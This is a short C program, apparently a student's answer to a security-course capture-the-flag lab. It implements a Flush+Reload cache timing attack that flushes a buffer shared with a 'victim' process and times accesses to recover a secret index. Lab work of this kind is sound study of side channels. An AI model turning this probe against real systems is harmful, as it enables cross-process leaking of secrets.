36 lines
908 B
C
36 lines
908 B
C
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <stdint.h>
|
|
#include <fcntl.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/mman.h>
|
|
#include <unistd.h>
|
|
|
|
#include "util.h"
|
|
|
|
#define CACHE_HIT_THRESHOLD 200
|
|
#define WAIT_TIME 100
|
|
int main() {
|
|
int flag = -1;
|
|
CYCLES time = -1;
|
|
// buf is shared between the attacker and the victim
|
|
char *buf = allocate_shared_buffer();
|
|
|
|
// [2.1] TODO: Put your capture-the-flag code here
|
|
for(int i = 0; i < 1024; i++) {
|
|
clflush((ADDR_PTR)buf + i * 128);
|
|
}
|
|
for(int i = 0; i < WAIT_TIME; i++);
|
|
for(int i = 100; i < 10000; i++) {
|
|
time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128);
|
|
if(time < CACHE_HIT_THRESHOLD) {
|
|
flag = (i*i) / 1024 % 1024;
|
|
break;
|
|
}
|
|
}
|
|
printf("Flag: %d\n", flag);
|
|
printf("Time: %d\n", time);
|
|
|
|
deallocate_shared_buffer(buf);
|
|
return 0;
|
|
} |